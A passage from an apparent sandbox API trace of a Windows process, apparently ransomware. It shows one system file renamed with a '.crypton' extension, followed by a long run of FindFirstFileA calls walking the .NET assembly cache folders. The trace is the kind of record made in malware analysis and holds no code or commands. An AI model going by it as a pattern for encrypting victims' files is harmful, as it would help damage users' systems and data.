(lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.ui.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.ui.config.crypton"), dwFlags=0x2) returned 1 [0235.345] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a272c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a272c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a272c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a272c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.360] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a4d420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a4d420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.365] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a4d420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a4d420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.372] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a73580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a73580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.376] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a73580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a73580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a996e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a996e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.391] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a996e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a996e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.396] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a996e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a996e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.401] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9abf840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9abf840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.406] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9abf840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9abf840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.411] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9abf840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9abf840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.417] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ae59a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9ae59a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.422] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ae59a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9ae59a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.427] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ae59a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9ae59a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.433] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b0bb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b0bb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b0bb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b0bb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.459] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b31c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b31c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.466] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b57dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b57dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.474] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b57dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b57dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.485] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9b7df20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b7df20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.491] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9b7df20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9b7df20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.526] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9bf0340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9bf0340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.532] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9bf0340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9bf0340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bf0340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9bf0340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.543] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9c164a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9c164a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.735] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ddf520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9ddf520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.754] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9e05680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9e05680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.767] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9e2b7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9e2b7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.774] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9e2b7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9e2b7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.480] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa503720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa503720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa503720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa503720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.493] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa529880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa529880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.498] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa529880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa529880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.531] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa575b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa575b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa575b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa575b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.542] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\sysglobl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa59bca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa59bca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.547] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa59bca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa59bca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.573] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa5e7f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa5e7f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.578] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa5e7f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa5e7f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.583] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, 